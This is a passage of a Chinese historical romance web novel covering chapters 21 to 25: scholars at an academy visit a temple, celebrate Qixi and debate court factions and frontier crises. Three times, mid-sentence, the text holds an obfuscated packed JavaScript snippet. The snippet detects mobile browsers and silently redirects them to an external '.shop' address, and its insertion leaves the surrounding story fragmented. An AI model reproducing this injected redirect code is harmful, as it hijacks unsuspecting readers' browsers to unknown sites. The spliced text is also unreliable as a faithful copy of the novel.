赵知行松了口气,将右手掩在袖中:“无事。” 少女这时抬头打量起眼前的男子来,道:“你是……堂兄的朋友?” “娘子认得在下?” “堂兄常带你们来家中,我见过你两回。” 赵知行反应了好一会才想来,霍澄没有兄弟姐妹在晋州,周近野只和他父母一起,她口中的堂兄只能是陆居澜。 可赵知行却忘了自己曾见过她,于是又行了一礼,忐忑问:“可是陆家娘子?” 陆窈仪低头浅笑,一笑,两颊梨涡若隐若现:“没想到郎君还记得我。” 赵知行是想了许久才想起来的,且并不确定,心中有些惭愧。自己很少在意别人,尤其是这种只在跟前晃过一两回的,和他没什么关系,就更不放在心上了。 “陆小娘子为何坐在,”赵知行抬眼看向墙头,“这样高的地方,实在有些危险。” 陆窈仪微微垂着头:“我娘带我和妹妹来上香,遇到了王家伯母,就聊了起来,我嫌太闷,所以出来走走,刚好那里大树遮着凉快些,这才爬上去的,让郎君看笑话了。” “不不不,陆小娘子性情率真,是在下打搅你的雅兴了。” 两人想起方才抱在一处时的场景,都红了脸。 “郎君也是来上香的吗?” “嗯,我和云程他们一起的,正要去前殿找他们。” 少女看了眼高高的墙头,想了想道:“我娘她们应该聊完了,我也差不多要去找她们,不若与郎君同行?” “好,”两人往前殿走去,赵知行很有礼貌地和她隔了些距离,“对了,在下还未正式介绍过自己,在下姓赵,名言礼,字知行。” “我、我叫陆窈仪。”少女也介绍自己,却不敢偏头看他。 寺中梵音悠扬,佛香袅袅,天光铺在黑瓦上、石径上、古树上,也披在人身上,像金色的软缎,炽热灼进人心头。 赵知行耳朵竟渐渐烧起一点红:“高处危险,陆小娘子往后该小心些才是。” 陆窈仪点头,轻轻“嗯”了一声。 22. 第二十二章 陆居澜几人正要进大雄宝殿,却撞见里头出来三个人,两个妇人和一个小女孩,其中两个妇人聊得正开心。 陆居澜很是意外,先停步行了一礼:“见过二伯母。” 那小女孩也跟着行礼唤了声“十一哥”。 其中一个妇人这才将目光投过来:“是居澜啊,你怎么也来寺庙了?” “今日旬假,正好和朋友一起出游。” 霍澄倒是常去陆居澜家中,大大方方叫了声“伯母好”,慕怀清也跟着他们一起行礼。 陈氏点点头:“难怪你昨天也没回家,正好你父亲来了信,信上提起你的婚事,明年秋闱过后怎么说也要回京的。你二伯父经商在外,我先让小厮将信送到书院去,你回一封吧。” 陆居澜的面色肉眼可见冷了些,可当着外人的面,倒不好顶撞了长辈,二伯母大庭广众之下提及家信,是铁了心要自己回一封去了。 这些年本家只有二房在,祖父走后,他和寄人篱下也差不了太多。伯父伯母对自己忤逆父亲的态度颇有些微词,且不大乐意自己留在晋州,常试图缓和自己和父亲的关系。 但有些事迟早还是要面对的,他声音平平答了声“是”,没再多说什么。 陈氏身旁的王家大娘子倒是笑道:“你这侄儿一表人才,将来不知道是哪家娘子好福气哦。” 陈氏意味深长道:“居澜的婚事我可做不了主,总归是京城的娘子。” 陈氏等人走后,陆居澜一直没有开口说话,慕怀清也察觉到了这低落的气氛。 霍澄绞尽脑汁找着措辞:“老陆啊,我说那个信……你不爱回就算了,反正也不差这一封两封的,真要回京城的话大不了我和你一起回。” 陆居澜微不可闻叹了口气:“秋闱我一定要过,就算没有他我也是要赴京的,更何况有些事逃不了一辈子。” 说罢,陆居澜对慕怀清抱歉地笑:“本来是要带你来散心的,我自己倒是愁着脸,让你见笑了。” 慕怀清好奇他和家中的关系,却记着端午时周近野的话按着没问,只是想到他二伯母说起他的婚事,心中竟微微有些难受,也许是因为感慨他生在家族之中诸多束缚,很多事身不由己。 慕怀清见过他高傲的样子,见过他淡然的样子,见过他生气的样子,却独独未见过他如眼下这般,静得像尊青花瓷,没有锋芒的坚硬,露出一瞬的脆弱来。 “云程兄,还记得我说过的吗?山高自有客行路,水深自有渡船人,莫要想太多,忧太重,你我之当下,才最难得。” 陆居澜一愣,对方的眼眸清如幽潭,也同样深沉不可见底,他想起来第一次课试的那首诗,不知怎么,忽的便开口了:“相识数月,我、好像从未向你提及我家中之事。” 慕怀清也愣了一下,还未出声,便听得他接着道:“你刚才应该也看出来了吧,我和父亲,关系并不好。我娘去后,父亲他续了弦,我便跟在先祖父身边长大,后来先祖父也不在了,他想将我接回京城去,我却不愿,一直留在了晋州。他倒是没再坚持,可他到底是我父亲……” 慕怀清第一次听他主动提及家中事,下意识问:“为何?” “先母早逝,和他,有些关系。他与先母乃是联姻,两人,是对怨偶。”当中还有些事,是陆居澜放在心里一辈子无法言说的。 年幼的他第一次目睹那样的事。雷声轰隆作响,雨声淅淅沥沥,屋内传出的争吵却依旧清晰。怕雷的他寻至娘的房门前,却透过门缝看见平素板正而不苟一笑的父亲,暴戾得像是换了个人。直到很久之后他才明白,那屋里的呜咽声、桌椅碰撞声是怎么回事。 娘后来是郁郁成疾去的。 慕怀清道:“所以你很难面对他,但又没有能力挣脱他,是吗?” “就像他信中所说,他知道我会争取在秋闱中举后赴京,无论他放任我在晋州多少年,都笃定我会回到他掌心里,只要我想入朝为官。” 霍澄看着那两人一边聊一边走远了,忍不住要追过去,却被周近野拉住。 霍澄有些急:“老陆从来不戳自己伤心事,今天怎么怪怪的?” 周近野却在笑:“这不是好事吗?难得云程能和无晦聊上,就让他们去吧。” 另一边慕怀清接着他入朝为官的话道:“你为何定要做官?” “读书人谁还没个抱负,我想成为像先祖父那样的人,一如张载所言,为天地立心,为生民立命,为往圣继绝学,为万世开太平。” “是啊,”慕怀清道,“可道理都在书上,做人却在书外。云程兄在京城长大,之后来到这繁华晋州,可还曾去过别的地方?” “这倒是很少,只在年幼时随先母去过外家,后来念书,也去别的书院游学过一回。” “云程兄自小衣食无忧,未见过太多疾苦之象,却能有这般抱负,怀清十分佩服。” 陆居澜摇摇头:“无晦谬赞了。” 慕怀清像是忆起来往事,嘴角浅浅有些笑意,目光却含着微不可察的忧伤:“人生的路太长了,很多人只能陪你走过一段,剩下的都要自己走完。就算你我也免不了会有分别的一天。令妣想来定是个很好的人,她已经陪你走完她的路了,云程兄带着你的志向,还会走得更远,走到令尊也终不能抵达的地方。怀清不才,愿能陪云程兄走上一段。” 她的声音比风轻,比风柔,当头的燥热似乎也能被她轻易抚平。陆居澜偏头看她,能看见她乌的发,长的睫,黑的眼,红的唇。 陆居澜微微低了头,闻见了她身上有些香,比佛香淡,比莲香清,像是在冰天雪地里,忽的一株不秋草映在眸中。 陆居澜笑得真挚:“还有一件事未曾告诉你。” 慕怀清疑惑偏头,目光与他撞在一处。 “先母喜用云雀结编五彩绳,之前端午的彩头,谢谢你。” 他的笑容似乎比当午的太阳更难直视,慕怀清移开目光,心中闪过一丝连自己都不曾察觉的慌张:“这也是我和别人学的。难怪大哥死活不愿意戴的东西,你却乐意。” 陆居澜这才回神发现两人已走了好一段路:“对了,他们人呢?” 两人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044239|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同回头,发现霍澄和周近野两个就远远缀在后头。 霍澄见他们似乎聊完了,喊道:“我肚子饿,想去吃素面了!” 陆居澜对慕怀清解释道:“中午便在这里吃吧,云溪寺的素面味道还可以。” “好。” 两人往霍澄处走去,慕怀清却还是没见着赵知行,问道:“大哥还没回来吗?” 霍澄道:“我正和近野说要去找他呢,该不会掉茅坑去了吧!” 几人刚说着,赵知行正巧寻回来了,他嘴角挂着笑意向几人走来,却又好似没将任何一个人装在眼里。 霍澄看得目瞪口呆,起了一身鸡皮疙瘩,要知道赵知行一年三百六十五天有三百六十六天都是臭着脸的,什么时候像今天这样笑过?这副表情出现在他脸上那就不是温柔,是惊悚了。 霍澄忙迎到他面前:“我说知行啊,你怎么了?是不是谁惹你了?你不高兴要说啊,你说出来,兄弟几个给你报仇去,定把欺负你的人给揍到下不来床!” 赵知行脑海中还是初见少女坐在墙头时的画面,这会儿听见霍澄的话只觉得煞风景,笑容马上撤下去,瞪了他一眼:“你这人怎么成天想着搞事情,上次和云程一块还没打够?” 周近野道:“还真是,我头一回见云程打架都不敢相信,明澈可别把人带坏了。” 陆居澜拳掩在唇边轻咳两声:“那次实在是对方把人伤的狠了。” 慕怀清问:“大哥怎耽搁了这么久,可是哪里不舒服?我们正要去寻你来着。” 赵知行见几人都目光炯炯看着自己,清了清嗓子:“没事,就是环境很好,多走了两步而已。” 霍澄松了口气:“那就好,走走走,去吃素面了。” 几人在食斋里端了面落了座,赵知行抬手握筷子时,却让坐在边上的周近野瞧见了手上的几道擦痕正往外渗着血,惊道:“你怎么受伤了?” 赵知行随意看了两眼:“哦,这个啊,不小心擦伤的,过两天就好了。” 霍澄满脸疑惑:“哪有人伤了手还笑成这样的?” 赵知行送到嘴边的一口面停住了:“笑成哪样?” 霍澄低头微笑起来,因为用力过头,成了一言难尽的娇羞。 赵知行当即黑了脸。 周近野吓得立马闭了眼。 喝着汤的慕怀清一口呛住,弯腰咳起来,咳的满脸通红。 坐在边上的陆居澜拍着背给她顺气,看了眼霍澄,眼神在说,你有病吧。 慕怀清感觉到一只手顺着她的背,咳得更厉害了。 霍澄不满地反驳道:“哎哎哎,本来就是啊,知行刚才就笑成这样。” 赵知行总是三言两语就能被他气翻:“你哪只眼睛看见我这样笑的!” 周近野被他两逗得不行,忍着笑对霍澄说:“你就少开知行的玩笑了,不是在问他受伤的事吗?” 这下赵知行真红了脸,支支吾吾道:“不、不过就是摔了一跤。” 任几人再如何问也问不出什么,便只当他是好面子不肯说了。 23. 第二十三章 七月孟秋,夏季的余热尚未消散,催人昏昏入睡。 这天下午,章先生站在台上讲,底下学子不住点头,不是认真,是困。人之常情,年年都是如此,但章先生年年都要骂。 “瞧瞧你们那样!”章存有扫了一眼整个学斋一眼,只见有一学生眼睛睁的大,很有精神,“再瞧瞧人赵知行,听得多认真!” 众学子齐刷刷看过去。 “知行啊,方才那个‘星自有光,不受于日’,你来解释一下。” 赵知行还是那个动作,那个表情,章存有瞪直了眼,四下里窃笑一片。 周近野心急地推了他两下,他才回过神来,发现章先生正瞪着自己瞧,慌忙起身,又不知该回答什么,就愣愣站着。 章存有指着他:“今日讲簿你给我抄三遍!” 可怜赵知行还不知道发生了什么,就莫名其妙罚了抄。 后来散了讲,周近野觉着不对劲,在去食斋的路上问他:“知行,你刚才怎么回事?章先生的课都敢敷衍。” 赵知行只解释了一句:“没什么,就是走神了。” 周近野暂时信了这份说辞。 霍澄却凭借着一颗致力于在枯燥的念书生活中找乐子的心,敏锐的嗅出一丝异样:“不对啊知行,你最近可是话都变少了。” 慕怀清也担忧道:“大哥莫非有什么心事?” 赵知行急道:“真没什么,你们别乱想了!” 霍澄颇为怀疑地哼哼两声,慕怀清倒也没再追问下去。 几人往食斋用过晚饭后,慕怀清又提出去听雨斋一趟,不与他们同行回屋了。 陆居澜以为她是有什么问题要请教,也想同去。 慕怀清解释道:“昨天我去请教商先生,先生自己打瞌睡翻了砚台把书泼了,竟掩面哭了起来,说那是他新誊录的经注,好不容易才整理一些。我心一软就说我可以帮忙再整理一份,他转口便应下来,约定今晚去的。” 霍澄道:“商先生肯定又是做戏的老毛病犯了,你不会让他给糊弄了吧。” 慕怀清失笑:“可答应了先生的事,总不好反悔。” 陆居澜拍了拍她肩,幸灾乐祸道:“那你忙吧,我便回去看书了,正好后天又是课试。” 慕怀清被他这孩子气的举动气笑了,一把将他手拍下来:“上次没考过我,这次你确实要多努力。” 陆居澜虽吃了瘪,却也不恼,一本正经作了个揖:“是,多谢无晦鼓励了。” - 在德容斋讲经的商先生虽说也当过官,可他无心仕途,醉心学术,也就堪堪当了十来年县官,后来便辞官不做了。他官名不大,但大半生都奉献在学术上,几本有名的经注都出自他手。 商先生为人随和风趣,也极少罚学生,和章先生的严厉截然不同,是以很得学生亲近,住处总是挤满了人,就连慕怀清来这的次数也免不了比去章先生那多。 太阳还没落下去,季夏天还是亮的,晚风也叫人惬意得很。慕怀清到听雨斋时,只见门外石桌旁坐了两人,两人正聊着天,全然没注意到慕怀清的到来,桌上的茶甚至连热气都快散尽了还是满的。 慕怀清走上前,行礼唤了句“商先生”。 商柏榆止住话头,眨着眼看向慕怀清。 她一见先生这般神情,便知先生定是忘了,无奈道:“先生,您的经注。” “噢,是这件事啊,”商柏榆恍然大悟,起身道,“你这学生倒来得早,随我来吧。” 坐商先生对面的人笑道:“这么多年了,你几本破经书写来写去,还是一点没变。” 商柏榆一听就不乐意了:“嗳,你往道门一钻这么多年,又修出个什么来了?” 商先生的友人但笑不语。 慕怀清这才将注意力放到商先生友人身上。他年纪同商先生一般,身着道袍,两鬓留了长髯,下巴一撮山羊胡。 慕怀清向他行了一礼,他点了点头。 屋外天光明亮,进屋后商先生便拿了手稿和空白书册子,叫慕怀清抱着笔砚出来在院子里写了。 院子里就他们喝茶的一张石桌,商先生把茶盏挪了挪,让出位置来。 慕怀清摆上笔墨,商先生翻着书几处略作指点,她便开始誊录了。 商柏榆坐下后则继续与对面之人慕怀清来之前的谈话:“难得你来,这次便多留几天?” 商先生的友人嘴角虽弯着,眼底却并无笑意:“我此番南下,估计要待到明年。” 商柏榆揶揄道:“怎么,舍不得南方的繁华了?” 友人沉默了,眼神有些悲凉地看着他。 商柏榆意识到事情不对劲,面色不再轻松:“发生何事了?” 友人斟酌着,终于叹息着开口了:“我四方游历,前段时间北上到了贺阑关,你可知那里是何景象?我知边关寒苦,却不知竟到了这种地步。百姓食不果腹,周边村镇经常受到胡人的骚扰,甚至有个村子,待我随巡逻队到的时候,已经被屠了。尸体堆成山高,烧得烈焰熊熊,见者无不落泪。可叹我空有一身医术,却救不了他们任何一人。 “那些士兵们更是粮草短缺,饷银拖欠,十几年戍边不曾轮换,到处人心惶惶怨声载道。那守将杨士武乃一懦夫蠹虫,胡人攻势最猛烈的一次,他竟独自逃跑,贺阑关几乎沦陷,全凭他手底下的副将带着将士们死守住了。 “可贺阑关经此一回元气大伤,与胡人对峙的局面恐怕维持不了太久,若朝廷依旧不作为,关破也是迟早的事。” 一边誊录一边听他们聊天的慕怀清抬起头来,早就停住了笔。 商柏榆拧着眉:“贺阑关乃是抵御胡人首当其冲的要地,如若沦陷,北方门户大开,后果不堪设想。” “是啊,”友人接着道,“所以我来南方,是想联系一些道观和旧友,看看能不能集结人力捐些物资到边关去,那里不光缺衣少食,治病救人的药材也是常年不足。” 商柏榆叹息:“冰冻三尺非一日之寒,朝堂这般……光凭你我个人之力,如何救得天下。” “不,先生,”慕怀清忽然出声道,“还会有千千万万人。” 商柏榆讶然:“我倒忘了你这学生在了。” 友人倒是来了兴趣:“小友,那你且说说,现今这局势还有何转机?” 慕怀清思量片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050238|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娓娓道来:“当年先帝驾崩,旧党虽借太后摄政之机就此翻身,但,由于陆广原与其身为新党人物的父亲陆菁对抗反入旧党阵营,且新党内部矛盾重重,在方衡暴毙后又散得极快,是以旧党胜利后不曾像前朝一样册立名目实行什么伪党之禁,新党仍有火种。这是当初新旧党争留有的余地。 “十几年过去,随着当今圣上年岁渐长,从旧有的局势中又势必分裂出帝后两党。圣上若想掌权,依附于太后的旧党将会是圣上首当其冲的目标,此乃破局之机,或能一挽大梁颓势也未可知。” 商柏榆为话中的坚定所触动,一时听愣了。 友人沉默片刻后则抚须大笑起来:“哈哈哈哈,柏榆兄,你这学生倒有些意思!” 商柏榆也被这笑容感染了,对慕怀清调侃道:“你倒是什么都敢说,也不怕祸从口出。” 慕怀清惶恐起身鞠了一躬:“学生多言,让先生见笑了。” “不见笑,不见笑,你的话很有道理,倒是我年老无能,不及你志向远大了。” “先生虽不在朝堂,但传承古往今来之学问,一样令人尊敬。抱负谁都能有,可想得再远都是空,学生也不过动动嘴皮子而已。” 友人道:“贫道纪停云,道号归无。尚不知小友姓名?” “道长客气,晚辈姓慕名怀清,表字无晦。” “善,”道人欣慰抚须,“这天下,终究还是你们年轻人的舞台啊。” 夜幕悄然降临,有只雄鹰盘旋飞过上空,未尽的晖色剪出它模糊的身影。 - 拂晓的晨光洒向这座古老而辉煌的城池,盛京。 巍峨的宫城坐落在城池一角,桓阳殿居于宫城南北轴线朝南一端,天下之主端坐殿内高台,一道帘子垂在御座之后。 一名国字脸的老者持笏上前,他身着紫袍,腰佩金鱼袋,乃当朝二相之一,左相兼枢密使,黄晟。只听得他朗声道:“陛下,杨士武御下有方,贺阑关也并未失守,依老臣看,革职留任即可。” 另一个瘦弱些的老者站了出来,此人衣着绯袍,佩银鱼袋,乃从五品秘书省少监孙有道。他义正辞严道:“贺阑关乃是边关第一隘口,容不得任何闪失,杨士武临阵脱逃罪无可恕,当立即撤职,处流放之刑,以正视听。” 天子抓住机会道:“将士守土有责,按大梁律,弃城的确当处流放之刑。” “陛下,法理之外亦有人情。杨士武守关四载,没有功劳也有苦劳,轻易处之重刑,恐让天下百官寒心啊。”范文峥,刑部尚书,出生泸阳范氏一族。 天子不悦,正要开口,帘后身影微动,一道声音打断了他:“哀家觉得革职留任,再给杨士武一次机会也好,但若不罚也难以服众,就杖六十以儆效尤吧。陛下以为如何?” 副相霍朗带头叩首:“太后娘娘所言甚是,还望陛下三思。” 百官陆陆续续跪了下来,口呼“陛下三思”。 天子面色难看,双手紧攥成拳:“那便依母后所言。” “陛下圣明。” 两派相争,母子不和,朝堂的波谲云诡拉开了序幕。谁也没料到今后的灾难,会于此埋下伏笔。 24. 第二十四章 孟秋七月七,谓之七夕,这是个热闹的好日子,繁华的晋州早已车马盈市,罗绮满街。 书院前一天下午放了假,学子们散讲后纷纷归家。 慕怀清没想过回去,却不料在出学斋后看见了赵翁。她上前行礼道:“赵翁前来,可是有要紧事?” 一旁的赵知行肉眼可见紧张起来。 赵翁道:“小郎君不必担忧,是官人吩咐我前来的,想接小郎君一同回去。” 慕怀清道:“辛苦赵翁了,只是怀清不愿回去,还请赵翁替我向爹爹赔罪。” 赵翁并不意外,叹了口气道:“委屈小郎君了。” 慕怀清笑着摇头。 陆居澜和霍澄想邀她到家中住,也被她一并婉拒。送走几人后,她往食斋简单用了晚饭,便回房看书休息了。 赵季青听完赵翁回禀,也是意料之中。 “他果然连过节也不回来了。” 赵翁安慰道:“小郎君懂事,这是在为官人考虑呢。” “罢了。赵翁,明日你准备些七夕果食,差人给他送去吧。” “是。” - 七夕当天,街市货卖琳琅满目,有用面粉裹上糖蜜油炸成各种花样的果食,有用瓜果雕成各种图案的花瓜,也有用作赏玩的土偶小人“磨喝乐”、板上种粟苗放小屋模仿村落之态的谷板…… 四周的叫卖声生气勃勃,陆居澜人走在街上,魂却飞到了天边,不小心撞上一人。 “啊,抱歉。”陆居澜连忙致歉,抬头,发现那是一个挑担的卖货郎,担子里装着许多荷花荷叶。 “不碍事,郎君买荷花吗?”卖货郎笑容满面。 陆居澜环视一圈,行人大多手携未开荷花,小儿也穿着新衣捧着荷叶,蹦蹦跳跳活泼至极。 他想了想:“买两朵吧。” 卖货郎将两朵花缠在一起,给他缠了株“并蒂莲”。这是七夕常有的玩法。 陆居澜见他会错意,倒也没多说什么,付了钱捧着花继续走着。 七夕是妇女儿童的节日,可供男子玩乐的不多,霍澄年年过,说是无趣,今年要同逐月一起乞巧,知行和近野也照旧要陪他们家中女眷。 陆居澜往常是在家看书,很少凑七夕的热闹,可今天不知为何,总有些静不下心,便出来走走。他并不觉得周围的街市新奇,柳江心举行了晒书会邀他前去,他也没什么兴致。 直到他撞到卖货郎,看见那荷花,心底想起,有一人还孤零零留在书院里。 陆居澜看了看天色,想到,许久未骑马了。 - 七夕夜一家人都是要坐在一起吃饭的,所以哪怕家远些的学子,基本都回去了,就连那些有家室在城内的先生也是如此。 慕怀清从未觉得书院这般安静。她一个人从天刚亮的时候坐在学斋里看书看到现在,案旁摆着赵季青上午派人送来的巧果和花瓜。 偶尔有几个实在回不去的学子经过,都结伴相邀下山往城里去了。他们倒是好心问了慕怀清一句,只是她与那几人不相熟,也没什么兴致,谢过好意后便拒绝了。 天气闷热,四下寂静,极容易萌生困意,她看得有些眼酸,头也重起来,于是靠在案上小憩片刻,不料一睡便睡过去了。 睡梦中,好似有什么东西轻轻戳着她的脸,带着一点淡淡的香,却并不讨厌。 她睁开了惺忪的眼,一个粉色的大花苞正贴着她鼻子,视线往上,是一张俊朗的脸庞。 她刹那间止住了呼吸,疑心自己还在梦中。 那人带着笑意的声音响起:“你莫不是卯时就在这看书,竟累到睡着了。” “你、你怎么在这?”刚睡醒的第一声,没有平时刻意掩饰的低沉,带着鼻音,有些软糯。 陆居澜心底升起一种怪异的感觉,转瞬即逝:“怕你一个人待着偷偷看书,将我比了下去。” 慕怀清彻底从睡梦中清醒过来,坐直了身体。 陆居澜瞟了一眼案旁的巧果,语气有些难以察觉的幽怨:“不过,我算是白来了。” 说着,他将一个食盒摆在慕怀清面前,里面除了各式巧果,还有一具土塑的小人偶。 慕怀清看着那小人偶,愣住了。 - “阿筠,你过来看看这是什么?” 男人弯腰,笑眯眯地将一具土塑的小人偶举到小女孩眼前。 四岁的小女孩新奇捧着:“爹爹,这是什么呀?” “这个呀,叫磨喝乐,七夕才有的,等阿筠再大几岁,也该在七夕夜乞巧了。” “什么是乞巧?” “阿筠看见碧姑姑做的那些事了吗?就是向巧娘娘祈求有一双巧手,能把这事做得越来越好。” “是碧姑姑说的女红吧,我才不要呢,不及爹爹的那些书有趣。” 男人听罢哈哈大笑,笑声惊动了枝头喜鹊。 - 慕怀清内心触动:“你,是来给我送这些的?” 陆居澜举起刚才作弄过她的荷花:“还有,七夕的荷花。” 慕怀清定定看着他,发现了他鬓角的汗和微红的脸,从中觉出一丝孩子般的傻气。 她接过那两株缠在一起的荷花苞,嫣然笑了:“旁边那些是我爹叫人送来的,你不算白跑一趟。谢谢你,云程兄。” 陆居澜眼睛微微亮了:“不必谢。” 慕怀清将荷花放好,给他倒了杯自己用水壶提来的水:“你是不是顶着太阳过来的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068059|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆居澜一口水喝到底:“骑马可比马车快多了。” 慕怀清又给他满了一杯:“若是不着急回去,就在此坐一会儿吧。” “好啊,”陆居澜拿起她案上的书,“让我瞧瞧你看的什么。” “晚渔先生上回在林间讲授汉史,提及王室贵族厚葬之风,我后来细看,有些感慨。晋人曾描述汉朝说,天下贡赋三分之,一供宗庙,一供宾客,一供山陵。天下之人的财物收敛朝廷,却随他们埋入地底不再流通变作死物,要活人给死人让步,这是哪来的道理?汉亡未必与此没有干系。” 陆居澜为之一震。 在“死者为大”的观念下,她的话无疑大逆不道,尤其是将矛头直指皇室陵墓与天下权贵。 “国之根基,在粮与钱。无晦的话,倒是令我豁然开朗。” 慕怀清双眼焕发出一种光采:“粮之一字,云程兄可否细说?” - 七夕入夜,赵府庭院中摆着香案,陈列巧果、花瓜、针线和磨喝乐人偶。赵小苒打扮了一身新衣,在案前焚香列拜。 赵知行静静看着自家小妹,眼神却又像是放空了,穿过她看向了远处,从脑海中不合时宜地浮现一抹倩影。 不知她此刻在做什么,是否也和小妹一样焚香乞巧呢? 待赵小苒拜完,赵知行收回神思,上前递给她一个小盒子:“这是大哥替你找的蜘蛛。” 许多女娘都会在七夕这天抓来蜘蛛放在小盒子里,第二天打开看,蜘蛛结得网越圆越好,这叫得巧。赵小苒不敢抓,以前都是赵知行替她代劳的。 赵小苒虽说接了盒子,可面色冷淡,竟是一个字都没和他说。赵知行心中明白缘由,眉眼低落。 郑氏出声打趣道:“苒苒多年不见,如今也是出落成一个大美人了,不知将来哪家儿郎有这样的好福气。” 赵小苒羞涩地躲在王氏身旁:“叔母莫要取笑我了。” 王氏道:“知行都还没说亲呢,哪有这么着急,苒苒还小,多留两年也没关系。” 太夫人道:“都及笄了,哪里还小?说到知行,你们当父母的也真是,到现在还没给他说亲,都老大不小的人了。” 赵季青道:“此事还要尊重知行自己的意见。” “胡闹!父母之命,媒妁之言。他要是说不娶,你们还真由着他不成!”太夫人加重了语气,话中意有所指。 赵知行听见这话,连忙道:“我、我不急的。” 王氏狐疑瞧了他一眼,他撇开头去,不敢再多说什么。 郑氏哄着太夫人道:“说不定是缘分未到呢,阿姑也别太着急,叫兄公和姒妇多留意着便是。” 赵知行欲言又止,眉头皱得更深了。 25. 第二十五章 七夕回去后不久,书院发生了一件不太寻常的事。此事与一篇策论有关。 策论本是评议当朝政事,在科举考试中也是必考项,往常书院课试也考,但出题大多触及不到当朝权势的漩涡中心,无关痛痒。这是晚渔先生的规定。 可偏偏今天,晚渔先生自己打破了这道不成文的规矩,竟在课上出了一道与朝宁新政有关的策论,论大梁困境与朝宁新政。 题目给得太泛,其实是留有余地,许多学子直陈题中两点,却不敢将笔锋指向现今掌权的旧党。 慕怀清接到这份论题时,抬眼看向了晚渔先生。晚渔先生将各人反应尽收眼底,目光最后与慕怀清相交。 慕怀清垂眸,提笔。我笔著我心。若不敢直言心中所想,她又何必踏进这书院中。 一个时辰的时间过去,停笔,收卷,众人心中皆是忐忑不安。晚渔先生并未多言,带着捧卷在怀的谈声新一道离开了学斋。 慕怀清搁下毫笔时才发现,笔杆竟全是她掌心的汗渍。她呆呆看着自己掌心,直到肩头被人拍了一下,她才回神。 “唤你好几遍了,你怎么也听不见,还在想刚才那道策论?” 慕怀清抿唇,点了下头。 身后的陆居澜面色也不轻松:“我在书院几年了,从未见过晚渔先生如此反常。” 没心没肺的霍澄嗅不到那字里行间的危机:“说不定是心血来潮,再说过去十几年了,这事应该也没那么避讳吧,再看会儿书我们就该去吃饭了。” - 百茗斋内。 李晚渔一一过目学生们方才所答论,并提笔批注。 直到他看见某张卷子,原本严肃的神色更加凝重起来。他捧起来读,连笔也搁下了。阅毕,他垂首轻轻叹了口气,不禁想起了与商柏榆的一场谈话。 那是在几天前的下午,商柏榆为课上某一讲的讲义来请教他。 “山长,过几天我想在课上开个讲会,复讲《礼记》中的儒行一则,讲义在此已写好,但觉得其中还有些疑问处,所以想来问问山长的意见。” 李晚渔接过他递来的讲义,一边看,一边斜睨他一眼,道:“难得你竟勤快起来,肯做足准备开一次讲。” “这个嘛,”商柏榆哈哈笑着,有些羞愧道,“有感而发,有感而发。” 李晚渔与商柏榆相识多年,深知他脾性,是以稀罕道:“何感?” 商柏榆卖了个关子:“山长觉得慕无晦如何?” “学识可与陆云程匹敌,但我教他不多,不知他性情如何。” 商柏榆道:“我有感而发,正是因为他。山长应该也听闻了边关之难吧。” 李晚渔一下子正了脸色:“杨士武之事,略有耳闻。” 商柏榆道:“不止如此。前段时日我有一友人南下,与我说起边关,说那里命比草贱。我一时悲从中来,觉得世道如此,自己无能为力。谁料那慕无晦在一旁听去,却道还有转机,一语切中当朝局势要害,胆大至极。” 说及此处,商柏榆似乎也想起了慕怀清那时的神情和话语,笑叹:“虽千万人,吾往矣。实在是后生可畏啊。” 李晚渔停止回忆,面对此卷露出一种怀念而伤感的神色。 “替我唤慕无晦来吧。” 谈声新有些好奇:“只唤他一人?” “嗯。” 谈声新得令出门。 - 慕怀清用过晚饭,和陆居澜等人道别,正要回房温习《通鉴纲目》,却被人叫住了。 “慕大哥,晚渔先生传你过去。” 慕怀清闻声回转,见谈声新正朝自己走来,心中有数。 谈声新领着她往百茗斋走,神神秘秘道:“你不想知道是什么事?” “我大概知道了。” “啧,先生没叫别人,就叫了你,该不会是你写得不好吧。” 慕怀清笑:“你以为呢?” 到了百茗斋后,李晚渔吩咐谈声新暂避,独留慕怀清一人。谈声新瞪大了眼,不甘心地挪了出去,强烈的好奇心驱使他关门后贴在了门口。 慕怀清行礼,道:“请问先生唤学生来,有何教诲?” 慕怀清心中忐忑,却也很想知道晚渔先生会如何评议那些旧事,这也是她坦诚执笔的原因之一。 李晚渔道:“你的答卷,比之他人的,要深刻很多,不但分析了朝宁新政的利弊,甚至详细总结了新政失败缘由。我想知道,你为何会了解这么多?” “朝宁新政乃是与我朝命运相干的一件大事,学生以为应当了解。” “你是新政的拥护者。”李晚渔此句,不是疑问句。 “学生并非拥护新政,只是赞成一切政通人和的变革。” “你想入朝为官?” “说不想是假的,学生不敢欺瞒先生。” “你这篇策论若流传出去,此生仕途也到尽头了。你该知道现在的朝堂是个什么样。” “未尽人事,如何言得天命。” 